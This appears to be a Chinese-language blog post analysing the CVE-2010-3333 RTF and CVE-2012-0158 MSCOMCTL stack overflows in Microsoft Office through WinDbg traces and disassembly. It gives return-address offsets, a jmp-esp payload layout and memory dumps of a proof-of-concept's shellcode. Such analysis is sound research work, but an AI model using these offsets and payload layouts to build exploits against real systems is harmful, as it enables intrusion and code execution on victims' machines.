cve-2010-3333分析

0x00


首先打开WinWord.exe,用windbg附加调试,打开crash.rtf文件。
ret icon

我们发现在rep move指令处程序crash掉了,通过查看esi以及edi,我们发现,程序已经复制了一部分数据到edi,至于挂掉的原因,大家可以在windbg中使用 !address edi 查看,发现此时的edi(130000)只能read。

我们在当前eip 30e97c06 下一个断点。
ret icon

看下图,我们知道rep mov 所在的函数是被30f749d2调用的。
ret icon

在30f749d2下断点

....
....
0:000> 
eax=30da4cb0 ebx=05000000 ecx=00123d80 edx=00000000 esi=01491128 edi=00123f48
eip=30f74a05 esp=00123d64 ebp=00123d90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mso!Ordinal2212+0x29da:
30f74a05 895df4          mov     dword ptr [ebp-0Ch],ebx ss:0023:00123d84=b2b95040
0:000> 
eax=30da4cb0 ebx=05000000 ecx=00123d80 edx=00000000 esi=01491128 edi=00123f48
eip=30f74a08 esp=00123d64 ebp=00123d90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mso!Ordinal2212+0x29dd:
30f74a08 ff501c          call    dword ptr [eax+1Ch]  ds:0023:30da4ccc=30e97be0

一直跟踪程序,发现到了调用rep mov 所在函数的位置,按F8跟踪函数内部

eax=01491128 ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=00123d80
eip=30e97c01 esp=00123d58 ebp=00123d90 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal1105+0x807:
30e97c01 8bc1            mov     eax,ecx
0:000> 
eax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=00123d80
eip=30e97c03 esp=00123d58 ebp=00123d90 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal1105+0x809:
30e97c03 c1e902          shr     ecx,2
0:000> 
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=00123d80
eip=30e97c06 esp=00123d58 ebp=00123d90 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal1105+0x80c:
30e97c06 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

注意ecx值,刚开始ecx为c8ac大家可以看,后面因为以Dword方式传送,所以向右移两位。查阅相关资料可以知道这个c8ac就是rtf文件中pFragments第三个参数偏移8位开始的两个字节。

在这个时候我们发现ebp - edi = 0x10

意思就是说我们只要覆盖0x14字节后既可以覆盖到返回地址,另外关于shellcode的安置,可以通过pattern_create 来找到准确偏移,或者跟踪程序,如:

0:000> 
eax=00000000 ebx=00000000 ecx=e0040057 edx=00000000 esi=00000000 edi=00000000
eip=30f74ac9 esp=00123d7c ebp=00123d90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mso!Ordinal2212+0x2a9e:
30f74ac9 c9              leave
0:000> 
eax=00000000 ebx=00000000 ecx=e0040057 edx=00000000 esi=00000000 edi=00000000
eip=30f74aca esp=00123d94 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mso!Ordinal2212+0x2a9f:
30f74aca c21400          ret     14h

发现程序最后会弹出0x14字节,所以我们在jmp esp后面写上20字节的无用数据就行。

jmp esp方式:

junk + (length of data) + junk(20 bytes) + address of jmp esp + junk(20bytes) + shellcode

cve-2012-0158分析

###0x00文件###


环境:xp sp3
虚拟机:vmware
调试器:windbg od
反汇编器: IDA Pro
漏洞软件:office 2013

###0x01定位漏洞点###


首先打开poc文件,经测试,此poc文件能够在本环境运行成功,所以直接下一个WinExec断点。

Breakpoint 0 hit
eax=00121637 ebx=0001c000 ecx=00121578 edx=7c92e514 esi=0001c000 edi=07cf6596
eip=7c863231 esp=00121584 ebp=0012159c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
kernel32!WinExec:
7c863231 8bff            mov     edi,edi

看下WinExec参数

0:000> db 01bd238 
001bd238  43 3a 5c 44 6f 63 75 6d-65 6e 74 73 20 61 6e 64  C:\Documents and
001bd248  20 53 65 74 74 69 6e 67-73 5c 41 64 6d 69 6e 69   Settings\Admini
001bd258  73 74 72 61 74 6f 72 5c-61 2e 65 78 65 00 00 00  strator\a.exe...

发现a.exe,初步判定程序已经在shellcode当中,这个poc应该是复制系统的计算器到用户目录下,然后运行这个计算器。既然这样,我们就可以一层一层向上查找,肯定能找到漏洞点。

查看一下栈回溯。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00121580 0012184e 001bd238 00000000 001bd238 kernel32!WinExec
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MSCOMCTL.OCX - 
001215b0 275c8a0a 07cf65a0 07cd7858 0001c000 0x12184e
001215ec 00121665 1005c48b c7000001 4d032400 MSCOMCTL!DllGetClassObject+0x41cc6
00000000 00000000 00000000 00000000 00000000 0x121665

重新运行程序,断点处MSCOMCTL!DllGetClassObject+0x41cc0(275c8a04)
p指令一直运行下去,运行到下面,通过查看esp,发现这里就是覆盖返回地址为7ffa4512
Object+0x41cfc:
275c8a40 ff1540155827 call dword ptr [MSCOMCTL+0x1540 (27581540)]
275c8a46 837dfc00 cmp dword ptr [ebp-4],0
275c8a4a 0f853fa60000 jne MSCOMCTL!DllGetClassObject+0x4c34b (275d308f)
275c8a50 8bc6 mov eax,esi
275c8a52 5f pop edi
275c8a53 5e pop esi
275c8a54 5b pop ebx
275c8a55 c9 leave

0:000> u eip
MSCOMCTL!DllGetClassObject+0x41d12:
275c8a56 c20800          ret     8
275c8a59 55              push    ebp
275c8a5a 8bec            mov     ebp,esp
275c8a5c 53              push    ebx
275c8a5d 56              push    esi
275c8a5e 57              push    edi
275c8a5f 8b7d08          mov     edi,dword ptr [ebp+8]
275c8a62 33db            xor     ebx,ebx
0:000> dd esp
001215e8  7ffa4512 90909090 90909090 1005c48b
001215f8  c7000001 4d032400 005ae908 656b0000
00121608  6c656e72 df003233 1b8c892d 42ef7d81
00121618  d685859d 5a59994e 9354d861 9d217777
00121628  c368624a 6a83a353 5a5cdf6b 4f2b1d8a
00121638  8128452c 0140f571 ba058f92 610ac136
00121648  73616161 6c6c6568 8b003233 61318a98
00121658  6f616161 006e6570 000211e8 e8ff6a00

MSCOMCTL!DllGetClassObject+0x41d12:通过ida打开MSCOMCTL.OCX发现这段函数为sub_275C89C7,MSCOMCTL!DllGetClassObject+0x41c83 函数流程比较复杂。
直接下一个断点MSCOMCTL!DllGetClassObject+0x41c83。同时对比ida,发现程序在.text:275C8A05 call sub_275C876D之后,esp里面的数据变成了包含shellcode,看来漏洞点就发生在sub_275C876D这个函数中。

MSCOMCTL!DllGetClassObject+0x41a29 sub_275C876D

在windbg中跟踪此函数,

eax=00008282 ebx=023357b8 ecx=00008282 edx=00000000 esi=06674008 edi=001215dc
eip=275c87c8 esp=001215a0 ebp=001215b0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x41a84:
275c87c8 c1e902          shr     ecx,2
0:000> 
eax=00008282 ebx=023357b8 ecx=000020a0 edx=00000000 esi=06674008 edi=001215dc
eip=275c87cb esp=001215a0 ebp=001215b0 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
MSCOMCTL!DllGetClassObject+0x41a87:
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> ub eip
MSCOMCTL!DllGetClassObject+0x41a74:
275c87b8 8bf0            mov     esi,eax
275c87ba 85f6            test    esi,esi
275c87bc 7c31            jl      MSCOMCTL!DllGetClassObject+0x41aab (275c87ef)
275c87be 8b750c          mov     esi,dword ptr [ebp+0Ch]
275c87c1 8bcf            mov     ecx,edi
275c87c3 8b7d08          mov     edi,dword ptr [ebp+8]
275c87c6 8bc1            mov     eax,ecx
275c87c8 c1e902          shr     ecx,2

这里是触发此漏洞的地方,ecx为8282,为数据块大小, esi为数据地址。

0:000> dd esi
06674008  00000000 00000000 00000000 7ffa4512
06674018  90909090 90909090 1005c48b c7000001
06674028  4d032400 005ae908 656b0000 6c656e72
06674038  df003233 1b8c892d 42ef7d81 d685859d
06674048  5a59994e 9354d861 9d217777 c368624a
06674058  6a83a353 5a5cdf6b 4f2b1d8a 8128452c
06674068  0140f571 ba058f92 610ac136 73616161
06674078  6c6c6568 8b003233 61318a98 6f616161

通过跟踪windbg,我们在ida中看一下流程。
1 icon

程序分别两次调用sub_275C876D函数,第一次调用函数的时候,参数长度的值为0ch,第二次调用函数的时候,长度是可以控制的,溢出就发生在第二次调用。看一下sub_275C876D函数内部。
2 icon

看下图可以明白漏洞是如何产生的
cmp [ebp+dwBytes], 8
jb loc_275d3085

这里应该是程序员犯了一个错误,本来是应该大于8的时候才跳转,现在用的jb则是小于8则跳转。
3 icon